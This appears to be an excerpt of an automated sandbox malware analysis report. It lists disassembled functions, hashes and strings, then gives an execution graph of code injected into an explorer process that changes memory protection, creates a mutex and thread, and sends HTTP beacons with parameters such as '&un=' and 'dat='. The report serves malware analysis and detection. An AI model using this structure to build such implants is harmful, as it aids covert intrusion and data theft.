                                          • Instruction ID: 9511e6606d16312ff0215ddc2d53b3df84c4294d2bfeb7b2231d788eaf95225a
                                          • Opcode Fuzzy Hash: 263791549d93da27451166d3b062480badc8002d0588e0f548dcfbf31daca735
                                          • Instruction Fuzzy Hash: 5290023520180402D51871985908646008697D0301F55D411A0425558DC75489A1A221
                                          Function 011D2C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                          • Instruction ID: df6a77655efacd5f1acc58836e85e83301ee2dbd0829a20afb8a85a56cf2fbda
                                          • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                          • Instruction Fuzzy Hash:
                                          Function 011D2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ___swprintf_l
                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                          • API String ID: 48624451-2108815105
                                          • Opcode ID: 94376019f74b742032f32074309eb646a4091c92ddbd0708103d488761488450
                                          • Instruction ID: 3214f6aed0f95f87804900afefd4c8624cb709569b3a4c310fe5932b3b2b5984
                                          • Opcode Fuzzy Hash: 94376019f74b742032f32074309eb646a4091c92ddbd0708103d488761488450
                                          • Instruction Fuzzy Hash: BC5109B1A04616BFCB29DB9CC88097EFBF8BB08240754C229F475D3642E375DE1087A0
                                          Function 01242410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ___swprintf_l
                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                          • API String ID: 48624451-2108815105
                                          • Opcode ID: 3d2921808184de2cef71a897269c65f2c33f343baa1f310e556b7746a04bee35
                                          • Instruction ID: ff3eba6f562bb52a0ce7c1f5c6387064fdbc62d80f183a3d1d982a7111d51153
                                          • Opcode Fuzzy Hash: 3d2921808184de2cef71a897269c65f2c33f343baa1f310e556b7746a04bee35
                                          • Instruction Fuzzy Hash: 8D51F675A20646EFCB2CDF9EE89097FB7F9EF44200B048459F596D7641D7B4DA0087A0
                                          Function 011C7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                          Download Yara Rule
                                          Strings
                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 012046FC
                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01204742
                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01204725
                                          • Execute=1, xrefs: 01204713
                                          • ExecuteOptions, xrefs: 012046A0
                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01204655
                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 01204787
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                          • API String ID: 0-484625025
                                          • Opcode ID: 8150c1d58f7f280ec1d6d347d00a9ebd1ed93b475e165948f784f46e3c60eae9
                                          • Instruction ID: ea023d4ccc343a419d30c5cc3714aa7363749d9870dc9cce7eb152f923b4fc14
                                          • Opcode Fuzzy Hash: 8150c1d58f7f280ec1d6d347d00a9ebd1ed93b475e165948f784f46e3c60eae9
                                          • Instruction Fuzzy Hash: 89511A31A002297AEF19EBA9EC89FFD77B8EF24B04F04019DD605A71D1D7B09A458F51
                                          Function 01266940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
                                          • Instruction ID: 9c9ff0a76c3b22f470cde6159cbd219235bd6081d29c432ce22b7d6dde7ef33a
                                          • Opcode Fuzzy Hash: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
                                          • Instruction Fuzzy Hash: 28021671518342AFD305CF18C890A6FBBE9EFD4704F148A2DFA859B294DB35E985CB42
                                          Function 011DB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: __aulldvrm
                                          • String ID: +$-$0$0
                                          • API String ID: 1302938615-699404926
                                          • Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
                                          • Instruction ID: faa47461a936f8ecb6885477a355d938f03a5135c6cf268c30565b136e196df2
                                          • Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
                                          • Instruction Fuzzy Hash: B0818170E092499FEF2D8E6CC8917FEBBA1AF47360F1B4259D852A72D1C7349840CB59
                                          Function 012420E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ___swprintf_l
                                          • String ID: %%%u$[$]:%u
                                          • API String ID: 48624451-2819853543
                                          • Opcode ID: 54d3e98010e60e96e32ef65daa40785fc5a4a6d9f18523f87b0b2e5af5846091
                                          • Instruction ID: c81c90d5663f1ddf4204690ae524cc5c77905b97896745a4935b8e81a0fd342f
                                          • Opcode Fuzzy Hash: 54d3e98010e60e96e32ef65daa40785fc5a4a6d9f18523f87b0b2e5af5846091
                                          • Instruction Fuzzy Hash: 6D21677AA1011A9BDB14DFB9DC44AEFBBF8EF54644F040115FA15E3201E770DA01CBA1
                                          Function 011BF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                          Download Yara Rule
                                          Strings
                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 012002BD
                                          • RTL: Re-Waiting, xrefs: 0120031E
                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 012002E7
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                          • API String ID: 0-2474120054
                                          • Opcode ID: ddab7121ba93812e75d619116200f692e0e0a4ef8335c5e54912382f8ae7f5c5
                                          • Instruction ID: 8ca77989f10630222e4644b659eb6cd641cc6185148695265fbae6e18d34da50
                                          • Opcode Fuzzy Hash: ddab7121ba93812e75d619116200f692e0e0a4ef8335c5e54912382f8ae7f5c5
                                          • Instruction Fuzzy Hash: D0E1B1306147429FE72ACF28C884B6ABBE0BF88354F144A5DF6A5CB2D2D774D945CB42
                                          Function 011CBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                          Download Yara Rule
                                          Strings
                                          • RTL: Re-Waiting, xrefs: 01207BAC
                                          • RTL: Resource at %p, xrefs: 01207B8E
                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01207B7F
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                          • API String ID: 0-871070163
                                          • Opcode ID: 3e2930cdc354b2171291f877135b44973b2396dad5b6d35ac366917faff4d582
                                          • Instruction ID: 2579568898e7e9034a83b34da14edaacbe068f0990ba8260403a190c5f3bb46b
                                          • Opcode Fuzzy Hash: 3e2930cdc354b2171291f877135b44973b2396dad5b6d35ac366917faff4d582
                                          • Instruction Fuzzy Hash: 9141E4317057039FD729DE29C841B6AB7E5EFA4B10F000A1DEA9AD7781DB31E4058B96
                                          Function 011CB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                          Download Yara Rule
                                          APIs
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0120728C
                                          Strings
                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01207294
                                          • RTL: Re-Waiting, xrefs: 012072C1
                                          • RTL: Resource at %p, xrefs: 012072A3
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                          • API String ID: 885266447-605551621
                                          • Opcode ID: 677b649316090fe2559a2078c894c10ca297a765faf0dfb70402d0505fa320cf
                                          • Instruction ID: 9e59fde0e9951d0095f5f5d9432ed451f5bfaad6823f8cd96fed9893fe298ecf
                                          • Opcode Fuzzy Hash: 677b649316090fe2559a2078c894c10ca297a765faf0dfb70402d0505fa320cf
                                          • Instruction Fuzzy Hash: D2411031618207AFC729CE29CC42B6AB7A5FB64B10F10061DF995EB281DB31F812CBD1
                                          Function 01242300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: ___swprintf_l
                                          • String ID: %%%u$]:%u
                                          • API String ID: 48624451-3050659472
                                          • Opcode ID: 455963fef9c5b4ce3852d13bdaaac17eef1c613dce753cec84ee99987d85f3b1
                                          • Instruction ID: 03e47c6ed484d2204221dc3ee9744296b420e8bb337ae9ef7aff32f7a1e27eff
                                          • Opcode Fuzzy Hash: 455963fef9c5b4ce3852d13bdaaac17eef1c613dce753cec84ee99987d85f3b1
                                          • Instruction Fuzzy Hash: 9F315472A10619DFDB24DF69DC44BEEBBF8EF54610F444559F949E3240EB309A448FA0
                                          Function 011D7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: __aulldvrm
                                          • String ID: +$-
                                          • API String ID: 1302938615-2137968064
                                          • Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
                                          • Instruction ID: ae9d91f7e9da2b68385acb94b58c0e0e0fa40f0486087e132f69bd19c116317e
                                          • Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
                                          • Instruction Fuzzy Hash: 4B91C271E002269BEF3CDF6DC8816BEBBA1EF44328F14465AE965E72C0D7309941CB52
                                          Function 01199126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $$@
                                          • API String ID: 0-1194432280
                                          • Opcode ID: 5961b5af8e4b6d9700348e6324169b1646ec9f8b36b55988a3f887ac1fa90dc3
                                          • Instruction ID: 298b1c25e129a6c18288aef1d8a5cb1ddd404f6d4d7b880108ec0de925dfb613
                                          • Opcode Fuzzy Hash: 5961b5af8e4b6d9700348e6324169b1646ec9f8b36b55988a3f887ac1fa90dc3
                                          • Instruction Fuzzy Hash: A8810D75D002699BDB39DB54CC44BEEBBB8AF48754F0041EAEA19B7250D7709E84CFA0

                                          Execution Graph

                                          Execution Coverage:1.5%
                                          Dynamic/Decrypted Code Coverage:0%
                                          Signature Coverage:11.4%
                                          Total number of Nodes:79
                                          Total number of Limit Nodes:9
                                          execution_graph 20199 fbb12dd 20200 fbb131a 20199->20200 20201 fbb13fa 20200->20201 20202 fbb1328 SleepEx 20200->20202 20206 fbbbf12 7 API calls 20200->20206 20207 fbb2432 NtCreateFile 20200->20207 20208 fbb10f2 6 API calls 20200->20208 20202->20200 20202->20202 20206->20200 20207->20200 20208->20200 20209 fbbdbac 20210 fbbdbb1 20209->20210 20243 fbbdbb6 20210->20243 20244 fbb3b72 20210->20244 20212 fbbdc2c 20213 fbbdc85 20212->20213 20215 fbbdc69 20212->20215 20216 fbbdc54 20212->20216 20212->20243 20258 fbbbab2 NtProtectVirtualMemory 20213->20258 20219 fbbdc6e 20215->20219 20220 fbbdc80 20215->20220 20254 fbbbab2 NtProtectVirtualMemory 20216->20254 20217 fbbdc8d 20259 fbb5102 ObtainUserAgentString NtProtectVirtualMemory 20217->20259 20256 fbbbab2 NtProtectVirtualMemory 20219->20256 20220->20213 20221 fbbdc97 20220->20221 20225 fbbdcbe 20221->20225 20226 fbbdc9c 20221->20226 20223 fbbdc5c 20255 fbb4ee2 ObtainUserAgentString NtProtectVirtualMemory 20223->20255 20230 fbbdcd9 20225->20230 20231 fbbdcc7 20225->20231 20225->20243 20248 fbbbab2 NtProtectVirtualMemory 20226->20248 20228 fbbdc76 20257 fbb4fc2 ObtainUserAgentString NtProtectVirtualMemory 20228->20257 20230->20243 20262 fbbbab2 NtProtectVirtualMemory 20230->20262 20260 fbbbab2 NtProtectVirtualMemory 20231->20260 20234 fbbdccf 20261 fbb52f2 ObtainUserAgentString NtProtectVirtualMemory 20234->20261 20236 fbbdcac 20249 fbb4de2 ObtainUserAgentString 20236->20249 20238 fbbdce5 20263 fbb5712 ObtainUserAgentString NtProtectVirtualMemory 20238->20263 20241 fbbdcb4 20250 fbb1412 20241->20250 20246 fbb3b93 20244->20246 20245 fbb3cce 20245->20212 20246->20245 20247 fbb3cb5 CreateMutexW 20246->20247 20247->20245 20248->20236 20249->20241 20251 fbb1440 20250->20251 20252 fbb1473 20251->20252 20253 fbb144d CreateThread 20251->20253 20252->20243 20253->20243 20254->20223 20255->20243 20256->20228 20257->20243 20258->20217 20259->20243 20260->20234 20261->20243 20262->20238 20263->20243 20264 fbbc232 20266 fbbc25c 20264->20266 20267 fbbc334 20264->20267 20265 fbbc410 NtCreateFile 20265->20267 20266->20265 20266->20267 20268 fbbde12 20272 fbbc942 20268->20272 20270 fbbde45 NtProtectVirtualMemory 20271 fbbde70 20270->20271 20273 fbbc967 20272->20273 20273->20270 20274 fbbcf82 20276 fbbcfb8 20274->20276 20275 fbbd022 20276->20275 20279 fbbd081 20276->20279 20286 fbb95b2 20276->20286 20278 fbbd134 20278->20275 20283 fbbd1b2 20278->20283 20289 fbb9732 20278->20289 20279->20275 20279->20278 20281 fbbd117 getaddrinfo 20279->20281 20281->20278 20283->20275 20292 fbb96b2 20283->20292 20284 fbbd729 20284->20275 20285 fbbd7f4 setsockopt recv 20284->20285 20285->20275 20287 fbb960a socket 20286->20287 20288 fbb95ec 20286->20288 20287->20279 20288->20287 20290 fbb976a 20289->20290 20291 fbb9788 connect 20289->20291 20290->20291 20291->20283 20293 fbb96e7 20292->20293 20294 fbb9705 send 20292->20294 20293->20294 20294->20284 20295 fbb78c2 20297 fbb7934 20295->20297 20296 fbb79a6 20297->20296 20298 fbb7995 ObtainUserAgentString 20297->20298 20298->20296

                                          Executed Functions

                                          Function 0FBBCF82 Relevance: 23.6, APIs: 3, Strings: 10, Instructions: 815networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 0 fbbcf82-fbbcfb6 1 fbbcfb8-fbbcfbc 0->1 2 fbbcfd6-fbbcfd9 0->2 1->2 5 fbbcfbe-fbbcfc2 1->5 3 fbbcfdf-fbbcfed 2->3 4 fbbd8fe-fbbd90c 2->4 6 fbbcff3-fbbcff7 3->6 7 fbbd8f6-fbbd8f7 3->7 5->2 8 fbbcfc4-fbbcfc8 5->8 10 fbbcff9-fbbcffd 6->10 11 fbbcfff-fbbd000 6->11 7->4 8->2 9 fbbcfca-fbbcfce 8->9 9->2 12 fbbcfd0-fbbcfd4 9->12 10->11 13 fbbd00a-fbbd010 10->13 11->13 12->2 12->3 14 fbbd03a-fbbd060 13->14 15 fbbd012-fbbd020 13->15 17 fbbd068-fbbd07c call fbb95b2 14->17 18 fbbd062-fbbd066 14->18 15->14 16 fbbd022-fbbd026 15->16 16->7 19 fbbd02c-fbbd035 16->19 24 fbbd081-fbbd0a2 17->24 18->17 20 fbbd0a8-fbbd0ab 18->20 19->7 22 fbbd0b1-fbbd0b8 20->22 23 fbbd144-fbbd150 20->23 26 fbbd0ba-fbbd0dc call fbbc942 22->26 27 fbbd0e2-fbbd0f5 22->27 25 fbbd8ee-fbbd8ef 23->25 28 fbbd156-fbbd165 23->28 24->20 24->25 25->7 26->27 27->25 30 fbbd0fb-fbbd101 27->30 31 fbbd17f-fbbd18f 28->31 32 fbbd167-fbbd178 call fbb9552 28->32 30->25 36 fbbd107-fbbd109 30->36 33 fbbd191-fbbd1ad call fbb9732 31->33 34 fbbd1e5-fbbd21b 31->34 32->31 43 fbbd1b2-fbbd1da 33->43 39 fbbd22d-fbbd231 34->39 40 fbbd21d-fbbd22b 34->40 36->25 41 fbbd10f-fbbd111 36->41 45 fbbd233-fbbd245 39->45 46 fbbd247-fbbd24b 39->46 44 fbbd27f-fbbd280 40->44 41->25 47 fbbd117-fbbd132 getaddrinfo 41->47 43->34 48 fbbd1dc-fbbd1e1 43->48 52 fbbd283-fbbd2e0 call fbbdd62 call fbba482 call fbb9e72 call fbbe002 44->52 45->44 49 fbbd24d-fbbd25f 46->49 50 fbbd261-fbbd265 46->50 47->23 51 fbbd134-fbbd13c 47->51 48->34 49->44 54 fbbd26d-fbbd279 50->54 55 fbbd267-fbbd26b 50->55 51->23 63 fbbd2e2-fbbd2e6 52->63 64 fbbd2f4-fbbd354 call fbbdd92 52->64 54->44 55->52 55->54 63->64 65 fbbd2e8-fbbd2ef call fbba042 63->65 69 fbbd35a-fbbd396 call fbbdd62 call fbbe262 call fbbe002 64->69 70 fbbd48c-fbbd4b8 call fbbdd62 call fbbe262 64->70 65->64 85 fbbd3bb-fbbd3e9 call fbbe262 * 2 69->85 86 fbbd398-fbbd3b7 call fbbe262 call fbbe002 69->86 79 fbbd4ba-fbbd4d5 70->79 80 fbbd4d9-fbbd590 call fbbe262 * 3 call fbbe002 * 2 call fbba482 70->80 79->80 111 fbbd595-fbbd5b9 call fbbe262 80->111 101 fbbd3eb-fbbd410 call fbbe002 call fbbe262 85->101 102 fbbd415-fbbd41d 85->102 86->85 101->102 104 fbbd41f-fbbd425 102->104 105 fbbd442-fbbd448 102->105 108 fbbd467-fbbd487 call fbbe262 104->108 109 fbbd427-fbbd43d 104->109 110 fbbd44e-fbbd456 105->110 105->111 108->111 109->111 110->111 115 fbbd45c-fbbd45d 110->115 121 fbbd5bb-fbbd5cc call fbbe262 call fbbe002 111->121 122 fbbd5d1-fbbd6ad call fbbe262 * 7 call fbbe002 call fbbdd62 call fbbe002 call fbb9e72 call fbba042 111->122 115->108 132 fbbd6af-fbbd6b3 121->132 122->132 135 fbbd6ff-fbbd72d call fbb96b2 132->135 136 fbbd6b5-fbbd6fa call fbb9382 call fbb97b2 132->136 145 fbbd72f-fbbd735 135->145 146 fbbd75d-fbbd761 135->146 155 fbbd8e6-fbbd8e7 136->155 145->146 151 fbbd737-fbbd74c 145->151 147 fbbd90d-fbbd913 146->147 148 fbbd767-fbbd76b 146->148 157 fbbd779-fbbd784 147->157 158 fbbd919-fbbd920 147->158 152 fbbd8aa-fbbd8df call fbb97b2 148->152 153 fbbd771-fbbd773 148->153 151->146 156 fbbd74e-fbbd754 151->156 152->155 153->152 153->157 155->25 156->146 163 fbbd756 156->163 159 fbbd786-fbbd793 157->159 160 fbbd795-fbbd796 157->160 158->159 159->160 164 fbbd79c-fbbd7a0 159->164 160->164 163->146 167 fbbd7a2-fbbd7af 164->167 168 fbbd7b1-fbbd7b2 164->168 167->168 170 fbbd7b8-fbbd7c4 167->170 168->170 173 fbbd7c6-fbbd7ef call fbbdd92 call fbbdd62 170->173 174 fbbd7f4-fbbd861 setsockopt recv 170->174 173->174 175 fbbd8a3-fbbd8a4 174->175 176 fbbd863 174->176 175->152 176->175 179 fbbd865-fbbd86a 176->179 179->175 182 fbbd86c-fbbd872 179->182 182->175 185 fbbd874-fbbd8a1 182->185 185->175 185->176
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: getaddrinforecvsetsockopt
                                          • String ID: Co$&br=$&sql$&un=$: cl$GET $dat=$nnec$ose$tion
                                          • API String ID: 1564272048-1117930895
                                          • Opcode ID: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
                                          • Instruction ID: 7bec72185e2036da630340f78a1d60d42f59abeada9a9e0a352ede40e4609e50
                                          • Opcode Fuzzy Hash: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
                                          • Instruction Fuzzy Hash: CF525E31614B088FCB29EF68D4947E9B7E1FB58300F5046AEC49FCB156DAB8B545CB81
                                          Function 0FBBC232 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 642filenativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 299 fbbc232-fbbc256 300 fbbc8bd-fbbc8cd 299->300 301 fbbc25c-fbbc260 299->301 301->300 302 fbbc266-fbbc2a0 301->302 303 fbbc2bf 302->303 304 fbbc2a2-fbbc2a6 302->304 306 fbbc2c6 303->306 304->303 305 fbbc2a8-fbbc2ac 304->305 308 fbbc2ae-fbbc2b2 305->308 309 fbbc2b4-fbbc2b8 305->309 307 fbbc2cb-fbbc2cf 306->307 310 fbbc2f9-fbbc30b 307->310 311 fbbc2d1-fbbc2f7 call fbbc942 307->311 308->306 309->307 312 fbbc2ba-fbbc2bd 309->312 316 fbbc378 310->316 317 fbbc30d-fbbc332 310->317 311->310 311->316 312->307 318 fbbc37a-fbbc3a0 316->318 319 fbbc3a1-fbbc3a8 317->319 320 fbbc334-fbbc33b 317->320 321 fbbc3aa-fbbc3d3 call fbbc942 319->321 322 fbbc3d5-fbbc3dc 319->322 323 fbbc33d-fbbc360 call fbbc942 320->323 324 fbbc366-fbbc370 320->324 321->316 321->322 326 fbbc3de-fbbc40a call fbbc942 322->326 327 fbbc410-fbbc458 NtCreateFile call fbbc172 322->327 323->324 324->316 329 fbbc372-fbbc373 324->329 326->316 326->327 335 fbbc45d-fbbc45f 327->335 329->316 335->316 336 fbbc465-fbbc46d 335->336 336->316 337 fbbc473-fbbc476 336->337 338 fbbc478-fbbc481 337->338 339 fbbc486-fbbc48d 337->339 338->318 340 fbbc48f-fbbc4b8 call fbbc942 339->340 341 fbbc4c2-fbbc4ec 339->341 340->316 346 fbbc4be-fbbc4bf 340->346 347 fbbc8ae-fbbc8b8 341->347 348 fbbc4f2-fbbc4f5 341->348 346->341 347->316 349 fbbc4fb-fbbc4fe 348->349 350 fbbc604-fbbc611 348->350 351 fbbc55e-fbbc561 349->351 352 fbbc500-fbbc507 349->352 350->318 354 fbbc567-fbbc572 351->354 355 fbbc616-fbbc619 351->355 356 fbbc509-fbbc532 call fbbc942 352->356 357 fbbc538-fbbc559 352->357 360 fbbc5a3-fbbc5a6 354->360 361 fbbc574-fbbc59d call fbbc942 354->361 363 fbbc6b8-fbbc6bb 355->363 364 fbbc61f-fbbc626 355->364 356->316 356->357 359 fbbc5e9-fbbc5fa 357->359 359->350 360->316 366 fbbc5ac-fbbc5b6 360->366 361->316 361->360 367 fbbc739-fbbc73c 363->367 368 fbbc6bd-fbbc6c4 363->368 370 fbbc628-fbbc651 call fbbc942 364->370 371 fbbc657-fbbc66b call fbbde92 364->371 366->316 377 fbbc5bc-fbbc5e6 366->377 373 fbbc742-fbbc749 367->373 374 fbbc7c4-fbbc7c7 367->374 378 fbbc6c6-fbbc6ef call fbbc942 368->378 379 fbbc6f5-fbbc734 368->379 370->316 370->371 371->316 388 fbbc671-fbbc6b3 371->388 381 fbbc74b-fbbc774 call fbbc942 373->381 382 fbbc77a-fbbc7bf 373->382 374->316 384 fbbc7cd-fbbc7d4 374->384 377->359 378->347 378->379 394 fbbc894-fbbc8a9 379->394 381->347 381->382 382->394 389 fbbc7fc-fbbc803 384->389 390 fbbc7d6-fbbc7f6 call fbbc942 384->390 388->318 392 fbbc82b-fbbc835 389->392 393 fbbc805-fbbc825 call fbbc942 389->393 390->389 392->347 399 fbbc837-fbbc83e 392->399 393->392 394->318 399->347 403 fbbc840-fbbc886 399->403 403->394
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: CreateFile
                                          • String ID: `
                                          • API String ID: 823142352-2679148245
                                          • Opcode ID: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
                                          • Instruction ID: 8c8748c1f8bcf9e76719c42be2965355b7399830db5b9d1d532e57095c3b0671
                                          • Opcode Fuzzy Hash: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
                                          • Instruction Fuzzy Hash: 99225CB0A18E099FCB59DF28D4956FABBF1FB58301F90026EE05ED7251DB70A451CB81
                                          Function 0FBBDE12 Relevance: 1.6, APIs: 1, Instructions: 59nativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 443 fbbde12-fbbde6e call fbbc942 NtProtectVirtualMemory 446 fbbde7d-fbbde8f 443->446 447 fbbde70-fbbde7c 443->447
                                          APIs
